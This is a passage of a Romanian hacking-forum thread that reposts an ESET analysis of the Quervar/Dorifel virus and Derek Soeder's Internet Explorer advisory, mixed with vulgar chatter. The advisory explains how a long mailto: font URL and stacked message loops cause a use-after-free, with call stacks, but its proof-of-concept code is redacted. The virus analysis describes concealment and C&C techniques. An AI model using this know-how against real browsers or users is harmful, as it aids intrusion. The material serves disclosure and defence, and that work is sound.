Nytro

1) Titlu de CACAT 2) Se gaseste si la Accesories 3) Daca ai keylogger, si stii asta, de ce ai sta sa vorbesti pe messenger prin OSK si nu ai cauta un antivirus macar, orice?

[h=2]Vulnerability Summary for the Week of August 13, 2012[/h] The US-CERT Cyber Security Bulletin provides a summary of new vulnerabilities that have been recorded by the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) in the past week. The NVD is sponsored by the Department of Homeland Security (DHS) National Cyber Security Division (NCSD) / United States Computer Emergency Readiness Team (US-CERT). For modified or updated entries, please visit the NVD, which contains historical vulnerability information. The vulnerabilities are based on the CVE vulnerability naming standard and are organized according to severity, determined by the Common Vulnerability Scoring System (CVSS) standard. The division of high, medium, and low severities correspond to the following scores: High - Vulnerabilities will be labeled High severity if they have a CVSS base score of 7.0 - 10.0 Medium - Vulnerabilities will be labeled Medium severity if they have a CVSS base score of 4.0 - 6.9 Low - Vulnerabilities will be labeled Low severity if they have a CVSS base score of 0.0 - 3.9 Entries may include additional information provided by organizations and efforts sponsored by US-CERT. This information may include identifying information, values, definitions, and related links. Patch information is provided when available. Please note that some of the information in the bulletins is compiled from external, open source reports and is not a direct result of US-CERT analysis. Link: http://www.us-cert.gov/cas/bulletins/SB12-233.html

[h=1]Quervar – Induc.C reincarnate?[/h]by Robert Lipovsky Malware Researcher Win32/Quervar (a.k.a Dorifel, XDocCrypt) is a virus family that has been in the news recently, especially in the Netherlands. It has been reported to be causing havoc on computers of several notable Dutch institutions. In our analysis, we provide additional technical details about the workings of the virus and compare it to another virus, the Delphi-infecting Win32/Induc.C, to which it bears a suspiciously strong resemblance. The virus can get onto a victim machine through several infection vectors, including email, download by other malware (it has been seen in the company of the Zeus variant Citadel) and through its own replication mechanisms, described below. As others have previously blogged (here and here), Quervar is a parasitic virus that targets executable files, as well as Microsoft Word and Excel documents. Let’s recapitulate how it does this, what other functionalities are included in the virus code, and why all this is so interesting. [h=1]File infection[/h] After a few initial checks (such as making sure that it’s running only once using a named event and global atom, and checking that it’s been run from a .LNK file with the parameter “-launcher”) the virus creates a thread that will search through drives on the system for files to infect. It goes about this by enumerating the logical drives on the system (GetLogicalDriveStrings) and recursively traversing their directory structures looking for target files. While doing this, it avoids certain drive types (specifically DRIVE_NO_ROOT_DIR, DRIVE_CDROM and DRIVE_UNKNOWN), and drives that contain the System Volume Information directory. Now this looked very familiar, being the exact same procedure that the Win32/Induc.C virus used. And it’s only one of the many similarities we found between the two viruses. By filtering out the specific drive types, the virus is intended to infect files on network mapped drives and removable media, such as USB sticks. The virus is interested in all files with file names containing the strings “.doc”, “.xls” (this includes the newer .docx and .xlsx file extensions) – with the exception of those whose names contain “–.” (this is a marker used by the virus when the original document is dropped from the infected file and launched) – and for file names containing “.exe”. It also checks on whether the “.exe” file found is a 32-bit executable, and looks for the presence of a special marker to ensure that the file hasn’t already been infected. A file size check is also performed – the virus only infects files from 10kB to 30MB in size. The victim file is then infected provided it meets these criteria. The original file is overwritten by the virus body, followed by the infection marker (“[+++scarface+++]” in the case of Win32/Quervar.C) and the original file (document or executable) encrypted with RC4. With Word and Excel documents, two extra steps are taken. Firstly, the icon of the file is changed to that of a Word or Excel document. Secondly, the infected document’s file extension is changed to %RLO%cod.scr (for .doc and .docx files) or %RLO%slx.scr (for .xls and .xlsx files). %RLO% in this case is the Unicode character 0x202E right-to-left override which, as the name suggests, causes the string following the character to be reversed. In effect, this file: would be displayed like this in Windows Explorer: This trick for hiding the executable file extension has been used by malware in the past (see here and here). Interestingly, it doesn’t work on Windows XP by default, as it lacks right-to-left text support. Naturally, when the virus-laden file is executed, it decrypts, drops and opens the original document or launches the original executable. [h=1]Payload and motives[/h] The virus infects executables and documents (i.e. turns documents into executable files as well) on networked mapped drives and removable media. The reason for this is – as with any other virus or worm – to enable it to spread. Even though the original files are RC4 encrypted inside the virus, this is not a case of a file cryptor or ransomware, where the victim has to pay a fee for the decryption key; the reason for the encryption is simply to make disinfection slightly more difficult for AV companies. (All ESET security products are capable of cleaning the infection, or you can download a stand-alone removal tool here.) After all, the virus does try to conceal the fact that files are infected (using the right-to-left extension trick) and opens the original document. Once an infected file is executed, its only action is to “install” the virus on the system and to launch the original file. The installation process is to copy itself and add a Registry entry that will ensure its execution every time the system starts with the “-launcher” parameter. Once “installed” the virus creates three threads: Infecting thread (Infinite loop so that the virus catches when a new drive is mounted or new files for infection appear, with 5s sleep between cycles. For details, see previous section.) Payload thread Self-defense thread While this is in other respects a straightforward and easy-to-analyze virus coded in Delphi, the payload thread employs a little obfuscation through code encryption in order to make static analysis more difficult. First, the virus attempts to set the [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings] “GlobalUserOffline” Registry entry to 0, which would put Internet Explorer out of Offline Mode. (However, there’s a bug in the code, as described in the following section). Then, the decrypted code is responsible for the other malicious actions the virus performs: It contains a set of URLs, to which Quervar tries to connect The HTTP request also sends a unique ID of the infected computer (derived from the path where the virus was launched and the Volume Serial Number of the disk) to identify the individual machine and distinguish it from others in the botnet The virus is able to receive commands from the C&C server, download and execute other malicious code (through HTTP or FTP), and update itself It has the ability to steal user data, including browser history and cache, and the list of URLs typed into the browser While debugging one of the Win32/Quervar samples, we noticed another interesting technique that also seemed very familiar. One of the hard-coded URLs inside the binary pointed to a user avatar on a discussion forum. Here’s the decrypted URL from the Win32/Quervar.C variant: The user whose avatar was used here has already been banned. But that is not the case with the avatar used by the Win32/Quervar.D variant. Unsurprisingly, the downloaded image contained additional encrypted C&C URLs: Here’s the avatar downloaded by Win32/Quervar.D: And here is the associated forum user: The third thread – used as a trivial self-defensive measure by the malware process – is exactly the same as the one used in Win32/Induc.C (well, apart from the Sleep delay duration). The process exits if the Task Manager is opened. The self-defense thread in of Win32/Quervar.C is shown below on the left, and the same in Win32/Induc.C on the right: [h=1]Easter Eggs[/h] As mentioned in the text above, there’s a bug in the part of the Quervar.C code that tries to set the GlobalUserOffline Registry entry. Unlike most other strings, the Registry key is stored unencrypted in the binary, so “decrypting” it results in an addition to the Registry that is essentially gibberish. The abovementioned writing to the Registry takes place only after an unsuccessful attempt to connect to the registry of a remote computer named “\\kaspersky”. Different string markers separating the encrypted original file from the virus body are used in different versions of the virus: [+++scarface+++] in Win32/Quervar.C, a reference to the movie with Al Pacino. [---deadline---] in other variants – this could be a reference to a one of a few movie/TV titles Win32/Quervar.C uses an event called “SayHellotomyLittleFriend” – also from Scarface This variant also uses a global atom called “BreakingBad”, a TV series [h=1]Comparison with Win32/Induc.C[/h] As mentioned in the previous text, we have noticed a great deal of similarity between Quervar and Induc.C. Here’s a comparison table: [TABLE] [TR] [TD=width: 213]Feature[/TD] [TD=width: 213]Win32/Quervar.C[/TD] [TD=width: 213]Win32/Induc.C[/TD] [/TR] [TR] [TD=width: 213]Programming language[/TD] [TD=width: 426, colspan: 2] Delphi [/TD] [/TR] [TR] [TD=width: 213]Malware type[/TD] [TD=width: 426, colspan: 2] virus [/TD] [/TR] [TR] [TD=width: 213]Infects[/TD] [TD=width: 213].exe, .doc(x), .xls(x) files[/TD] [TD=width: 213]Delphi applications and .exe files[/TD] [/TR] [TR] [TD=width: 213]Infection method[/TD] [TD=width: 426, colspan: 2]Appends encrypted file after virus body, with infection string marker[/TD] [/TR] [TR] [TD=width: 213]Infection string marker[/TD] [TD=width: 213][+++scarface+++][/TD] [TD=width: 213]-=supernatural=-[/TD] [/TR] [TR] [TD=width: 213]Infected file extension[/TD] [TD=width: 213].exe, .scr[/TD] [TD=width: 213].exe[/TD] [/TR] [TR] [TD=width: 213]Encryption[/TD] [TD=width: 213]RC4[/TD] [TD=width: 213]xor 5, add 7[/TD] [/TR] [TR] [TD=width: 213]Targets for infection[/TD] [TD=width: 213]Removable media, networked mapped drives[/TD] [TD=width: 213]Removable media, networked mapped drives – the same as Quervar in the case of .exe file infection[/TD] [/TR] [TR] [TD=width: 213]Searching for targets[/TD] [TD=width: 426, colspan: 2]The same logical drive enumeration and recursive directory traversing technique. The exclusions for drive types and drives containing System Volume Information are also the same.[/TD] [/TR] [TR] [TD=width: 213]Self-defense[/TD] [TD=width: 426, colspan: 2]The same thread (different timeout value), exiting after the Task Manager process is seen[/TD] [/TR] [TR] [TD=width: 213]Forms a botnet?[/TD] [TD=width: 426, colspan: 2] Yes [/TD] [/TR] [TR] [TD=width: 213]Main payload[/TD] [TD=width: 426, colspan: 2] Download and execute arbitrary file [/TD] [/TR] [TR] [TD=width: 213]Additional payloads[/TD] [TD=width: 213]Virus update, steal browser history[/TD] [TD=width: 213]–[/TD] [/TR] [TR] [TD=width: 213]C&C URL mechanism[/TD] [TD=width: 426, colspan: 2]Contains hard-coded encrypted URLs, (some of which) point to user avatars on discussion forums, which contain additional URLs[/TD] [/TR] [TR] [TD=width: 213]Countries of highest prevalence[/TD] [TD=width: 213]Netherlands[/TD] [TD=width: 213]Russia, Slovakia[/TD] [/TR] [/TABLE] [h=1]Variants and statistics[/h] Win32/Quervar.C is the virus variant that has been troubling Dutch computer users in the past weeks: however the first variants of Quervar date back to a couple of months to spring 2012 and are not confined only to the Netherlands. As indicated by the graph below, statistics from ESET LiveGrid ™ telemetry show that the Quervar virus (all variants) is most prevalent in Turkey. The variant Win32/Quervar.C (which has a much lower share in detections than the other variants) is detected almost exclusively (~90% of all reported detections) in the Netherlands. [h=1]Conclusion[/h] As has become common practice in the world of malware, the Win32/Quervar virus family implements several techniques, which have already been observed elsewhere. It is part of a bigger “operation”, forms a botnet, and is able to perform tasks sent from the C&C server, and to download and execute other malware. It is not unlikely that the virus botnet operator provides this as a service to other cyber criminals. Furthermore, as David Harley mentions, it has attracted the attention of telephone support scammers. However, what struck us most forcibly in this case is the great degree of similarity to the Win32/Induc.C virus. It’s very likely that the malware writer is the same in both cases, or at any rate that Quervar was inspired by the Win32/Induc.C code. Users of ESET security software are protected from the virus. Anyone else can download the free removal tool here. The Threat Encyclopedia entry can be found here: Win32/Quervar.C. Sursa: Quervar (Dorifel, XDocCrypt) similar code to Induc.C | ESET ThreatBlog

Stf ba ><

Daca te uitai vedeai ca sunt numai cod sursa vreo 17 MB. Vedeai si ca e vorba de 21 de filmulete, de la 6 minute la 50 de minute, deci peste 10 ore de tutorial. Sunt de la Microsoft, care se implica in realizarea standardelor W3C, deci cred ca sunt foarte ok.

[h=1]HTML5 & CSS3 Fundamentals: Development for Absolute Beginners[/h] Want to learn a different language? Over the course of 21 episodes, our friend Bob Tabor from www.LearnVisualStudio.net will teach you the fundamentals of HTML5 & CSS3 programming. Tune in to learn concepts about web pages, CSS3 styles and HTML5 features. We'll walk you through getting the web prinicpals, writing code and much more! Each concept is broken into its own video so you can search for and focus on the information you need. Download the entire series source code. Tutoriale: http://channel9.msdn.com/Series/HTML5-CSS3-Fundamentals-Development-for-Absolute-Beginners

Dar cand alte 8 nu iti zic sa pleci?

Da, pacat de voturile celor cateva mii de decedati, aveau si ei dreptul la vot...

Ca sa nu mai apara comentarii stupide: Muie Basescu!

Adaug si eu: Muie Jurnalul.

Am vorbit cu betivu de Andrew, si e foarte posibil sa nu se mai tina la Cluj ci in Bucuresti.

Internet Explorer Script Interjection Code Execution Internet Explorer Script Interjection Code Execution Derek Soeder ds.adv.pub () gmail com Reported: January 26, 2012, to SecuriTeam Secure Disclosure http://www.beyondsecurity.com/ssd.html Published: August 16, 2012 AFFECTED VENDOR --------------- Microsoft Corporation AFFECTED ENVIRONMENTS --------------------- Internet Explorer 7.0 on Windows XP and Windows Vista Internet Explorer 8.0 on Windows XP, Windows Vista, and Windows 7 Internet Explorer 9.0.0 through 9.0.8 (MS12-044) on Windows Vista and Windows 7 Other versions of Internet Explorer have not been tested. UNAFFECTED ENVIRONMENTS ----------------------- Internet Explorer with MS12-052 hotfix applied IMPACT ------ The vulnerability described in this document can be exploited by a malicious Web page to execute arbitrary code with low integrity. Active scripting must be enabled, and the present exploitation techniques require that font downloading be set to "Enable" or "Prompt" and that the "mailto:"; protocol be present. (These requirements are satisfied by default on Windows XP, Windows Vista, and Windows 7.) The user is presented with a message box which must be dismissed before code execution can occur. VULNERABILITY DETAILS --------------------- Processing of events in Internet Explorer is typically driven by window messages originating both externally (for instance, due to user input or paint requests) and internally. As with all window messages, these messages are retrieved from the current thread's message queue by a message loop, which dispatches each message to a window procedure. The window procedure, in turn, invokes code to handle the associated event based on the type of window message. If the event handling code can be made to display a message box or dialog, or otherwise enter a message loop, then another window message relating to a separate, second event may be dispatched during this "stacked," second message loop, meaning the second event will be processed before the original event has been fully handled. Processing of the original event continues only after the second message loop has ended (i.e., when the displayed message box or dialog closes). If the second event handling code can cause the program's state to become inconsistent with the first event handling code's expectations--for instance, by destroying objects referenced in variables local to the first event handling code--then it should be possible to cause memory corruption which can be exploited to achieve arbitrary code execution. A variety of events can result in script running during the event handler code. Although it's simple for script to display a message box or dialog and thereby enter a message loop (e.g., using window.alert, window.prompt, or window.clipboardData.getData under default security settings), so far it does not appear that an interrupting, second event handler can then do anything to disrupt program state in a way that the first event handler will not accommodate. This is understandable, since script must be able to handle other script running at any time and having arbitrary effects on program state. Objects accessible to script should be properly reference-counted and garbage-collected, and any exception would constitute a separate vulnerability that could likely be exploited without use of the flaw described in this document. In some cases, it's also possible to make MSHTML.DLL enter a message loop while handling a page rendering event (as opposed to an event intended to run script). For one, MSHTML!CMarkup::ProcessURLAction* is used to check a variety of security settings during page downloading and rendering; this function calls URLMON!ProcessUrlAction*, which may display a dialog if the queried setting's action is set to "Prompt". Unfortunately, most of the security settings which default to prompting are now handled through the yellow security band or notification bar rather than a dialog. Other avenues for reaching a message loop may be discovered by backtracking from functions such as DispatchMessageW, MessageBoxW, and DialogBoxParamW. One function call of particular interest is a call to MessageBoxW found in MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError. It was discovered that, if Internet Explorer attempts to download a very long (approximately 2,030-character) "mailto:"; URL, then CMailtoProtocol::RunMailClient will fail and call CMailtoProtocol::DisplayMailClientNotFoundError to display a message box, thereby entering a message loop. (The message reads, "Could not perform this operation because the default mail client is not properly installed.") Furthermore, it was found that displaying this message box while downloading an embedded font (by specifying a long "mailto:"; URL for the font's "src" property) will result in references to targetable objects remaining on the stack until the message box is closed. Thus, a Web page can exploit this vulnerability by declaring an embedded font with a long "mailto:"; source URL and ensuring that an event which destroys and replaces targetable objects occurs while the message box is open. Although the particulars of the targetable objects are Internet Explorer version-dependent, exploitation should generally proceed as typical for an Internet Explorer use-after-free vulnerability. Events The most significant complexity of this vulnerability is understanding Internet Explorer's event handling. As mentioned above, event handling is based on the processing of window messages. Some window messages may arise from user input (such as keyboard and mouse messages), while others may be generated by the operating system (such as paint and resize messages), but most messages signaling events are generated interally by Internet Explorer. These messages use a message identifier value of 0x8002 and are generated when a "method call" is added to a queue maintained in Thread Local Storage (TLS), if the queue is empty. A method call is simply a function pointer and associated data representing a callback to be invoked by the event handling message loop (or any other message loop). Method calls are queued using MSHTML!_GWPostMethodCallEx and handled by MSHTML!GlobalWndOnMethodCall, which the MSHTML!GlobalWndProc window procedure calls in response to a message 0x8002. It is important to note that a message 0x8002 will only be posted if the method call queue is empty and if a message 0x8002 is not outstanding (being processed or waiting to be processed). Therefore, with possibly one minor exception, a second message 0x8002 cannot be pending while a first message 0x8002 is being processed, meaning a second method call-based event cannot be handled while a first method call-based event is being handled, even if the first enters a message loop. When exploiting the vulnerability, one event may be based on a method call, but the other must correspond to user input or some other type of message. Although designing a Web page to provoke a user input message without user interaction is not difficult, Internet Explorer 9 offers another possibility by introducing asynchronous events. If a Web page is viewed in IE9 standards mode, certain events (for example, body.onfocus) will instead be mediated by messages with an identifier value of 0x8003, which are generated via MSHTML!CEventMgr::QueueAsyncEvent -> MSHTML!CAsyncEventQueue::QueueEvent and processed when GlobalWndProc calls MSHTML!CAsyncEventQueue::DispatchAllEvents. If the asynchronous event handling code enters a message loop, a message 0x8002 could then be dispatched and cause any queued method calls to be processed. Example (Internet Explorer 7 and 8) A simple example of how to reproduce this vulnerability in Internet Explorer versions 7 and 8 follows. A Web page contains an empty style sheet link, a body with an "onmouseover" event handler, and a script element which creates a new script element and assigns it an "onreadystatechange" event handler. The body also has a style which specifies a large height value, so that the body area will occupy the full height as well as width of the browser window. The following HTML illustrates: [redacted for now] When the Web page loads, the presence of the mouse cursor over the window causes MSHTML!CServer::WndProc to receive a mouse window message, which it passes to MSHTML!CDoc::OnWindowMessage -> MSHTML!CDoc::OnMouseMessage. Further up the call stack, the script of the body's "onmouseover" event handler runs, setting the empty style sheet link's "href" attribute to load "MyFont.css". When the CSS defining the "MyFont" embedded font is parsed, the long "mailto:"; URL will ultimately result in CMailtoProtocol::DisplayMailClientNotFoundError displaying an error message box, pausing execution of that thread except to process window messages. Using the "onmouseover" event handler for this purpose ensures that the message box will appear during processing of a user input window message, rather than during processing of a method call (0x8002) window message, which leaves the method call avenue available for the second event. While the message box is showing, our attack server completes its intentionally delayed response to the request for "slow.js", causing the client to queue a method call which will run the new script element's "onreadystatechange" event handler. Because a method call (message 0x8002) is not currently being processed--the event being processed originated instead as a mouse window message--this means the thread responsible for downloading "slow.js" is free to post a message 0x8002 after it queues the method call. The window message will then be dispatched by the message loop that drives the error message box, causing the "onreadystatechange" event handler to run. In this example, the event handler tampers with the object representing the style sheet, which was still being interpreted at the time the message box was displayed. The tampering provokes a crash once the message box closes and interpretation of the style sheet is allowed to continue. Example (Internet Explorer 9) Now a simple example specific to Internet Explorer 9 is presented. A Web page contains a body with an "onfocus" event handler, a style sheet defining an embedded font and a class which uses it, a "div" element of the defined class, and a script element which creates a new script element and assigns it an "onreadystatechange" event handler. The document begins with a "DOCTYPE" declaration which ensures that the page will be rendered in IE9 standards mode. The following HTML illustrates: [redacted for now] In IE9 standards mode, embedded fonts are not downloaded until they're needed to render the page, meaning that the embedded font's long "mailto:"; URL is interpreted--and therefore the error message box is displayed--when the body's "onfocus" event fires. Because body.onfocus is handled in IE9 standards mode as an asynchronous event (message 0x8003), method calls (message 0x8002) remain free to be dispatched while the message box message loop is on the call stack. In this example, we expect "slow.js" to finish downloading after body.onfocus fires and causes the error message box to appear. The code in IE that manages the download will queue an "onreadystatechange" method call for the script, which will be dispatched by the message box message loop, allowing our Javascript to execute. Since IE9 accesses embedded fonts on demand, there will be references to various object on the stack below the message box message loop, so if our Javascript tampers with these objects, a crash will result once the message box is closed. Walkthrough To help provide a visual understanding of the vulnerability, a chronological walkthrough of the Internet Explorer 9 example crash is presented here. Following along in the example is recommended. The symbols shown correspond to Internet Explorer 9.0.3 on Windows 7 SP1 x86, with MSHTML.DLL version 9.0.8112.16437 loaded at 6D1C0000 and page heap enabled. When the example page is loading, a 0x54-byte CTreePos class instance is allocated on the heap: (This CTreePos instance will be freed and its memory reused later.) 77365ae0 ntdll!RtlAllocateHeap+0x0000023a 6d423fe1 MSHTML!CHtmRootParseCtx::BeginElement+0x00000035 6d51b14b MSHTML!CHtmTextParseCtx::BeginElement+0x000000a1 6d4245a0 MSHTML!CHtmParse::BeginElement+0x00000151 6d4269aa MSHTML!CHtmParse::ParseBeginTag+0x00000199 6d422422 MSHTML!CHtmParse::ParseToken+0x00000100 6d42292a MSHTML!CHtmPost::Exec+0x00000233 6d427a10 MSHTML!CHtmPost::Run+0x00000041 6d42793c MSHTML!PostManExecute+0x000001a3 6d4278a1 MSHTML!PostManResume+0x000000dd 6d427801 MSHTML!CHtmPost::OnDwnChanCallback+0x00000010 6d40b4d5 MSHTML!CDwnChan::OnMethodCall+0x0000001f 6d5a9d09 MSHTML!GlobalWndOnMethodCall+0x00000115 6d5c9368 MSHTML!GlobalWndProc+0x00000302 7748c4e7 USER32!InternalCallWinProc+0x00000023 7748c5e7 USER32!UserCallWinProcCheckWow+0x0000014b 7748cc19 USER32!DispatchMessageWorker+0x0000035e 7748cc70 USER32!DispatchMessageW+0x0000000f 6e8e1b44 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000722 6e901a16 IEFRAME!LCIETab_ThreadProc+0x00000317 759315b0 iertutil!CIsoScope::RegisterThread+0x000000ab 6e8efd5b IEFRAME!Detour_DefWindowProcA+0x0000006c 75c4ed6c kernel32!BaseThreadInitThunk+0x0000000e 773737f5 ntdll!__RtlUserThreadStart+0x00000070 773737c8 ntdll!_RtlUserThreadStart+0x0000001b Next, the page's Javascript executes, creating a new script element with a source of "slow.js". The idea is that the Web server will intentionally postpone serving this file for a second or two. This arranges for an "onreadystatechange" event to fire after the delay elapses. Once the page finishes loading (but before the delay has elapsed), the "body.onfocus" event fires. Because the document is in IE9 standards mode, "body.onfocus" will be queued as an asynchronous event, meaning it will be mediated by window message 0x8003. The "body.onfocus" event handler changes a "div" element's class to a class that uses an embedded font. This forces Internet Explorer to attempt to download the font, which fails due to the long "mailto:"; URL. Crucially, the failure triggers a "mailto"-specific message box to be displayed; this enters a new, top message loop during the original, bottom message loop's handling of the 0x8003 window message associated with the "body.onfocus" event. The call stack, from top to bottom, now looks like this: 774a382a USER32!NtUserWaitMessage+0xc 774a3b27 USER32!DialogBox2+0x207 774ce0d5 USER32!InternalDialogBox+0xcb 774ce659 USER32!SoftModalMessageBox+0x68a 774ce78c USER32!MessageBoxWorker+0x2ca 774cea08 USER32!MessageBoxTimeoutW+0x7f 6ea15e86 USER32!MessageBoxExW+0x1b 774ceaa4 IEFRAME!Detour_MessageBoxExW+0x47 6db3ac94 USER32!MessageBoxW+0x45 6db3aaf1 MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError+0x10b 6db3a2cc MSHTML!CMailtoProtocol::RunMailClient+0x12e 6db39def MSHTML!CMailtoProtocol::ParseAndBind+0x8b 76ab1c0b MSHTML!CMailtoProtocol::Start+0xcd 76a98fb3 URLMON!COInetProt::StartEx+0xf0 76a9a31f URLMON!CTransaction::StartEx+0x40b 76a8386c URLMON!CBinding::StartBinding+0x883 6d438507 URLMON!operator new+0x20 6d4383ed MSHTML!CTridentFilterHost::BindToMoniker+0xe4 6d4216f3 MSHTML!CDwnBindData::Bind+0x722 6d42153b MSHTML!NewDwnBindData+0x189 6d20c107 MSHTML!CDwnLoad::Init+0x25c 6d5c1f27 MSHTML!CBitsLoad::Init+0x52 6d421279 MSHTML!CDwnInfo::SetLoad+0x11e 6d451257 MSHTML!CDwnInfo::AddDwnCtx+0x67 6d42c695 MSHTML!CDoc::NewDwnCtx2+0x30a 6d953c33 MSHTML!CDoc::NewDwnCtx+0x5b 6d956222 MSHTML!CEmbeddedFontFace::EnsureStartDownload+0x120 6d955aee MSHTML!CFontFace::CFontFaceSrc::EnsureStartDownload+0x8a 6d682c20 MSHTML!CFontFace::AddToFamily+0x18c 6d52ceb2 MSHTML!CStyleSheetArray::BuildFontFaceRuleFamily+0x58 6d52cd28 MSHTML!ApplyClear+0x113 6d51bc41 MSHTML!ApplyFontFace+0x1d4 6d40e103 MSHTML!ApplyFormatInfoProperty+0x33bf 6d40e424 MSHTML!ApplyAttrArrayValues+0x2bd 6d5b5344 MSHTML!CStyleSheetArray::Apply+0x34a 6d47bad8 MSHTML!CMarkup::ApplyStyleSheets+0x6a 6d47b89e MSHTML!CElement::ApplyStyleSheets+0x4a2 6d4cddff MSHTML!CElement::ApplyDefaultFormat+0x8b 6d47b5a0 MSHTML!CBlockElement::ApplyDefaultFormat+0x379 6d47a5a3 MSHTML!CElement::ComputeFormatsVirtual+0x1a1e 6d47a4d6 MSHTML!CElement::ComputeFormats+0xe1 6d47bd39 MSHTML!CTreeNode::ComputeFormats+0xba 6d482d33 MSHTML!CTreeNode::ComputeFormatsHelper+0x40 6d360862 MSHTML!CTreeNode::GetFancyFormat+0x32 6d2d910f MSHTML!CElement::UpdateFormats+0x426 6d4ce10f MSHTML!CControlledFormatter::Init+0xcc 6d47fa14 MSHTML!CElement::OnPropertyChangeInternal+0x3fa 6d49b76b MSHTML!CElement::OnPropertyChange+0x1b 6d2da8db MSHTML!BASICPROPPARAMS::SetStringProperty+0x36a 6d0084d6 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_className+0x61 6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d0cc968 JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117 6d009a85 JSCRIPT9!Js::JavascriptOperators::SetProperty+0x8c 6d009a2c JSCRIPT9!Js::JavascriptOperators::OP_SetProperty+0x59 039507b8 JSCRIPT9!Js::JavascriptOperators::PatchPutValueNoLocalFastPath+0xbc 6d0084d6 0x39507b8 6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6 6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f 6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63 6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a 6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a 6d54ce40 MSHTML!CListenerDispatch::Invoke+0x40 6d44e624 MSHTML!CEventMgr::_InvokeListeners+0x187 6d54cf37 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc 6d5db67d MSHTML!CEventMgr::Dispatch+0x3cc 6d53ba32 MSHTML!CEventMgr::DispatchFocusEvent+0x7d 6d5e6f74 MSHTML!COmWindowProxy::Fire_onfocus+0x84 6d5e6ff1 MSHTML!CAsyncEventQueue::DispatchAllEvents+0x7c 7748c4e7 MSHTML!GlobalWndProc+0x2ed 7748c5e7 USER32!InternalCallWinProc+0x23 7748cc19 USER32!UserCallWinProcCheckWow+0x14b 7748cc70 USER32!DispatchMessageWorker+0x35e 6e8e1b44 USER32!DispatchMessageW+0xf 6e901a16 IEFRAME!CTabWindow::_TabWindowThreadProc+0x722 759315b0 IEFRAME!LCIETab_ThreadProc+0x317 6e8efd5b IERTUTIL!CIsoScope::RegisterThread+0xab 75c4ed6c IEFRAME!Detour_DefWindowProcA+0x6c 773737f5 KERNEL32!BaseThreadInitThunk+0xe 773737c8 NTDLL!__RtlUserThreadStart+0x70 00000000 NTDLL!_RtlUserThreadStart+0x1b As long as the message box remains open, its message loop will dispatch new window message-mediated events, and control won't return to Internet Explorer's original message loop. It doesn't matter which message loop is dispatching messages, because the same window procedure is executed in either case. The only problem is that the code lower on the call stack was operating on various heap objects (such as the CTreePos allocated earlier) before control entered the MessageBox call and became stuck. Now, if a window message-mediated event results in the execution of Javascript that modifies or destroys those heap objects, corruption manifesting as a use-after-free, for instance, may result. As belabored in the Vulnerability Details section, not every type of event can be "stacked" in every situation like this, but certain different events can. An 0x8003 window message (for "body.onfocus") was being processed during the bottom message loop, so if an 0x8002 window message is posted, it will be processed during the top message loop--and this is exactly what the example has arranged to happen. Once the delay in serving "slow.js" elapses, an 0x8002 window message-mediated event (referred to as a "method call") corresponding to the concluded download will be posted and subsequently processed during the top message loop. This method call executes the created script element's "onreadystatechange" event handler, which destroys the very "div" element that was in the process of being rendered when Internet Explorer attempted to download the font and became stuck at the message box. The following partial call stack shows "removeChild" being called from the "onreadystatechange" event handler: 6d2eb4e3 MSHTML!CElement::ie9_removeChild 6d0084d6 MSHTML!CFastDOM::CNode::Trampoline_removeChild+0x7b 6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 039501af JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117 6d0084d6 0x39501af 6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6 6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f 6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63 6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a 6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a 6d35a726 MSHTML!CListenerDispatch::Invoke+0x40 6d5db834 MSHTML!CEventMgr::Dispatch+0x537 6d4a5607 MSHTML!CEventMgr::DispatchEvent+0xc9 6d4a02ff MSHTML!CElement::Fire_onreadystatechange+0x99 6d5a9d09 MSHTML!CScriptElement::FireOnReadyStateChange+0x3e 6d5c9368 MSHTML!GlobalWndOnMethodCall+0x115 7748c4e7 MSHTML!GlobalWndProc+0x302 7748c5e7 USER32!InternalCallWinProc+0x23 7748cc19 USER32!UserCallWinProcCheckWow+0x14b 7748cc70 USER32!DispatchMessageWorker+0x35e 774a38d7 USER32!DispatchMessageW+0xf 774a3b27 USER32!DialogBox2+0x15a 774ce0d5 USER32!InternalDialogBox+0xcb 774ce659 USER32!SoftModalMessageBox+0x68a 774ce78c USER32!MessageBoxWorker+0x2ca 774cea08 USER32!MessageBoxTimeoutW+0x7f 6ea15e86 USER32!MessageBoxExW+0x1b 774ceaa4 IEFRAME!Detour_MessageBoxExW+0x47 6db3ac94 USER32!MessageBoxW+0x45 6db3aaf1 MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError+0x10b 6db3a2cc MSHTML!CMailtoProtocol::RunMailClient+0x12e 6db39def MSHTML!CMailtoProtocol::ParseAndBind+0x8b 76ab1c0b MSHTML!CMailtoProtocol::Start+0xcd ... The free actually happens in a subsequent method call, which is also processing during the MessageBox message loop, as shown in the following partial call stack: 75c4c3d4 kernel32!HeapFree+0x00000014 6d5eebed MSHTML!CTreePos::Release+0x00000046 6d5fdc69 MSHTML!CLayoutBlock::~CLayoutBlock+0x000000ba 6d5ff5da MSHTML!CFlexBoxBlock::`scalar deleting destructor'+0x00000013 6d559ee9 MSHTML!TSmartPointer<CPtsPelParaclient>::~TSmartPointer<CPtsPelParaclient>+0x00000014 6d5da773 MSHTML!HtmlLayout::SmartDispClient::Release+0x00000023 6d5da5fb MSHTML!HtmlLayout::FlowBox::ImplicitDestructor+0x0000001d 6d490144 